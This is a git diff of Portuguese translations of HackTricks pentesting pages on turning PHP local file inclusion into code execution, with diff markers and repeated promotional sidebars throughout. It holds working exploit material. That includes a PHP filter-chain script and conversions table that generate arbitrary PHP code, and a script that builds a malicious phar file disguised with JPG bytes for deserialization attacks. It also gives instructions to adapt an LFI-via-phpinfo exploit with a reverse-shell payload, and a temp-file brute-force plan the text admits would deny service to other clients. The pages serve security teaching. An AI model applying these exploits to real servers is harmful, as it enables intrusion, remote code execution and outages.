Por padrão, o Apache suporta **150 conexões simultâneas**, seguindo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) é possível aumentar esse número para até 8000. Siga isto para usar PHP com esse módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Por padrão, o Apache suporta **150 conexões simultâneas**, seguindo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) é possível aumentar esse número para 8000. Siga este tutorial para usar o PHP com esse módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Por padrão, (como posso ver em meus testes), um **processo PHP pode durar eternamente**.
Por padrão, (como pude ver nos meus testes), um **processo PHP pode durar eternamente**.
Vamos fazer algumas contas:
Vamos fazer alguns cálculos:
* Podemos usar **149 conexões** para gerar **149 \* 20 = 2980 arquivos temporários** com nosso webshell.
* Então, usar a **última conexão** para **força bruta** em arquivos potenciais.
* Podemos usar **149 conexões** para gerar **149 \* 20 = 2980 arquivos temporários** com nossa webshell.
* Em seguida, usar a **última conexão** para **forçar** possíveis arquivos.
* A uma velocidade de **10 solicitações/s** os tempos são:
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de chance em 265h)
* (sem dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de chance em 93h)
{% hint style="warning" %}
Note que no exemplo anterior estamos **completamente DoSing outros clientes**!
Note que no exemplo anterior estamos **completamente DoSando outros clientes**!
{% endhint %}
Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do caminho para o número máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
## PHP-FMP
Se, em vez de usar o módulo php regular para apache para executar scripts PHP, a **página web estiver usando** **PHP-FMP** (isso melhora a eficiência da página web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
Se em vez de usar o módulo php regular para o apache executar scripts PHP a **página da web estiver usando** **PHP-FMP** (isso melhora a eficiência da página da web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Este parâmetro indica a quantidade máxima de segundos **quando** **a solicitação ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro for descomentado**). Quando uma solicitação está sendo processada pelo PHP pelo número indicado de segundos, ela é **encerrada**. Isso significa que, se a solicitação estava fazendo upload de arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão excluídos**. Portanto, se você puder fazer uma solicitação durar esse tempo, você pode **gerar milhares de arquivos temporários** que não serão excluídos, o que **acelerará o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
O PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<versão-php>/fpm/pool.d/www.conf`**.\
Este parâmetro indica a quantidade máxima de segundos **quando** a **solicitação ao PHP deve ser encerrada** (infinito por padrão, mas **30s se o parâmetro for descomentado**). Quando uma solicitação está sendo processada pelo PHP pelo número indicado de segundos, ela é **encerrada**. Isso significa que se a solicitação estava enviando arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão excluídos**. Portanto, se você puder fazer uma solicitação durar esse tempo, você pode **gerar milhares de arquivos temporários** que não serão excluídos, o que **acelerará o processo de encontrá-los** e reduzirá a probabilidade de um DoS na plataforma ao consumir todas as conexões.
Então, para **evitar DoS** vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento do php pelo **php-fmp** (`request_terminate_timeout`**) é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
Então, para **evitar DoS** vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento do php pelo **php-fmp** (`request_terminate_timeout`**)** é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
Então, para gerar **10000 arquivos** um atacante precisaria de: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria **25min**).
Então, para gerar **10000 arquivos** um atacante precisaria de: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria de **25min**).
Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca por força bruta**. \*\*\*\* Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca de força bruta**. Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de chance em 2.63h)
* (com 100000 arquivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de chance em 0.263h)
Sim, é possível gerar 100000 arquivos temporários em uma instância EC2 de tamanho médio:
Sim, é possível gerar 100000 arquivos temporários em uma instância de tamanho médio do EC2:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
@ -107,17 +107,3 @@ Note que para acionar o tempo limite seria **suficiente incluir a página LFI vu
## Nginx
Parece que por padrão o Nginx suporta **512 conexões paralelas** ao mesmo tempo (e esse número pode ser melhorado).
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,51 +2,51 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Introdução
Este [**artigo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem a necessidade de escrevê-lo** em um arquivo.
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo.
Basicamente, o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada** fornecendo o payload desejado que será **interpretado pelo `include`**.
Basicamente, o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada** fornecendo a carga útil desejada que será **interpretada pelo `include`**.
As bases para fazer isso são:
* `convert.iconv.UTF8.CSISO2022KR` sempre adicionará `\x1b$)C` ao início da string
* `convert.base64-decode` é extremamente tolerante, basicamente ignorará quaisquer caracteres que não sejam base64 válidos. Ele apresenta alguns problemas se encontrar "=" inesperados, mas esses podem ser removidos com o filtro `convert.iconv.UTF8.UTF7`.
* `convert.iconv.UTF8.CSISO2022KR` sempre irá anteceder `\x1b$)C` à string
* `convert.base64-decode` é extremamente tolerante, basicamente apenas ignorará quaisquer caracteres que não sejam válidos base64. Isso causa alguns problemas se encontrar "=" inesperados, mas esses podem ser removidos com o filtro `convert.iconv.UTF8.UTF7`.
O loop para gerar conteúdo arbitrário é:
1. adicionar `\x1b$)C` à nossa string como descrito acima
2. aplicar uma sequência de conversões iconv que mantém nossa base64 inicial intacta e converte a parte que acabamos de adicionar em uma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
3. decodificar e codificar novamente em base64 a string, o que removerá qualquer lixo entre elas
1. anteceder `\x1b$)C` à nossa string conforme descrito acima
2. aplicar uma cadeia de conversões iconv que deixa nosso base64 inicial intacto e converte a parte que acabamos de anteceder para alguma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
3. decodificar e codificar em base64 a string, o que removerá qualquer lixo no meio
4. Voltar para 1 se o base64 que queremos construir ainda não estiver completo
5. decodificar em base64 para obter nosso código php
{% hint style="warning" %}
**Includes** geralmente fazem coisas como **adicionar ".php" no final** do arquivo, o que poderia dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não prejudique o exploit... ou você **poderia simplesmente usar `php://temp` como recurso** porque ele pode **ter qualquer coisa adicionada no nome** (como +".php") e ainda permitirá que o exploit funcione!
**Includes** geralmente fazem coisas como **anexar ".php" no final** do arquivo, o que poderia dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não anule a exploração... ou você **poderia simplesmente usar `php://temp` como recurso** porque ele pode **ter qualquer coisa anexada no nome** (como +".php") e ainda permitirá que a exploração funcione!
{% endhint %}
## Como adicionar também sufixos aos dados resultantes
[**Este artigo explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) como você ainda pode abusar dos filtros PHP para adicionar sufixos à string resultante.
[**Este writeup explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) como você ainda pode abusar dos filtros PHP para adicionar sufixos à string resultante.
## Ferramentas Automáticas
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator)
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (pode adicionar sufixos)
## Script completo
## Script Completo
```python
import requests
@ -108,7 +108,7 @@ print(r.text)
```
### Melhorias
O script anterior é limitado aos caracteres base64 necessários para aquele payload. Portanto, criei meu próprio script para **força bruta de todos os caracteres base64**:
O script anterior é limitado aos caracteres base64 necessários para essa carga útil. Portanto, criei meu próprio script para **forçar todos os caracteres base64**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -177,7 +177,7 @@ conversions = {
'=': ''
}
```
Aqui está o **script** para obter codificações que geram cada letra b64:
Aqui está o **script** para obter as codificações que geram cada letra b64:
```php
<?php
@ -269,14 +269,14 @@ find_vals($init);
<details>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -23,7 +23,7 @@ Você precisa corrigir o exploit (trocar **=>** por **=>**). Para fazer isso voc
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Você precisa alterar também o **payload** no início do exploit (para um php-rev-shell, por exemplo), o **REQ1** (isso deve apontar para a página phpinfo e deve incluir o preenchimento, ou seja: _REQ1="""POST /install.php?mode=phpinfo\&a="""+preenchimento+""" HTTP/1.1_), e **LFIREQ** (isso deve apontar para a vulnerabilidade de LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)
Deve alterar também o **payload** no início do exploit (para um php-rev-shell, por exemplo), o **REQ1** (que deve apontar para a página phpinfo e incluir o preenchimento, ou seja: _REQ1="""POST /install.php?mode=phpinfo\&a="""+preenchimento+""" HTTP/1.1_), e **LFIREQ** (que deve apontar para a vulnerabilidade de LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
@ -31,7 +31,7 @@ Você precisa alterar também o **payload** no início do exploit (para um php-r
Se os uploads são permitidos no PHP e você tentar fazer upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor tenha terminado de processar a solicitação, então esse arquivo temporário é excluído.
Então, se você encontrou uma vulnerabilidade de LFI no servidor web, você pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.
Então, se você encontrou uma vulnerabilidade de LFI no servidor web, pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.
No **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php**
@ -65,14 +65,14 @@ print('[x] Something went wrong, please try again')
```
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,31 +4,31 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**Confira os detalhes completos desta técnica em [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
**Verifique todos os detalhes desta técnica em [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
## **Upload de Arquivos PHP**
Quando um mecanismo **PHP** recebe uma **solicitação POST** contendo arquivos formatados de acordo com o RFC 1867, ele gera arquivos temporários para armazenar os dados enviados. Esses arquivos são cruciais para o tratamento de upload de arquivos em scripts PHP. A função `move_uploaded_file` deve ser usada para mover esses arquivos temporários para um local desejado, se for necessário armazenamento persistente além da execução do script. Após a execução, o PHP exclui automaticamente quaisquer arquivos temporários restantes.
{% hint style="info" %}
**Alerta de Segurança: Hackers, cientes da localização dos arquivos temporários, podem explorar uma vulnerabilidade de Inclusão de Arquivo Local para executar código acessando o arquivo durante o upload.**
**Alerta de Segurança: Atacantes, cientes da localização dos arquivos temporários, podem explorar uma vulnerabilidade de Inclusão de Arquivo Local para executar código acessando o arquivo durante o upload.**
{% endhint %}
O desafio para o acesso não autorizado está em prever o nome do arquivo temporário, que é intencionalmente randomizado.
#### Exploração em Sistemas Windows
No Windows, o PHP gera nomes de arquivos temporários usando a função `GetTempFileName`, resultando em um padrão como `<caminho>\<prefixo><uuuu>.TMP`. Notavelmente:
No Windows, o PHP gera nomes de arquivos temporários usando a função `GetTempFileName`, resultando em um padrão como `<caminho>\<pre><uuuu>.TMP`. Notavelmente:
- O caminho padrão é tipicamente `C:\Windows\Temp`.
- O prefixo é geralmente "php".

View file

@ -1,30 +1,30 @@
# phar:// deserialização
# Deserialização phar://
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
Arquivos **Phar** (PHP Archive) **contêm metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
Os arquivos **Phar** (PHP Archive) **contêm metadados no formato serializado**, então, ao serem analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
O melhor dessa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não executam código PHP como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
A melhor coisa sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
Então, imagine uma situação onde você pode fazer com que um web PHP obtenha o tamanho de um arquivo arbitrário usando o protocolo **`phar://`**, e dentro do código você encontra uma **classe** semelhante à seguinte:
Portanto, imagine uma situação em que você pode fazer um site PHP obter o tamanho de um arquivo arbitrário usando o protocolo **`phar://`**, e dentro do código você encontra uma **classe** semelhante à seguinte:
{% code title="vunl.php" %}
```php
@ -44,7 +44,7 @@ filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
Você pode criar um arquivo **phar** que, quando carregado, **abusará desta classe para executar comandos arbitrários** com algo como:
Você pode criar um arquivo **phar** que, quando carregado, **abusará dessa classe para executar comandos arbitrários** com algo como:
{% code title="create_phar.php" %}
```php
@ -74,7 +74,7 @@ $phar->stopBuffering();
```
{% endcode %}
Note como os **bytes mágicos do JPG** (`\xff\xd8\xff`) são adicionados no início do arquivo phar para **burlar** **possíveis** restrições de **upload** de arquivos.\
Observe como os **bytes mágicos do JPG** (`\xff\xd8\xff`) são adicionados no início do arquivo phar para **burlar** **possíveis** **restrições de upload** de arquivos.\
**Compile** o arquivo `test.phar` com:
```bash
php --define phar.readonly=0 create_phar.php
@ -87,22 +87,22 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
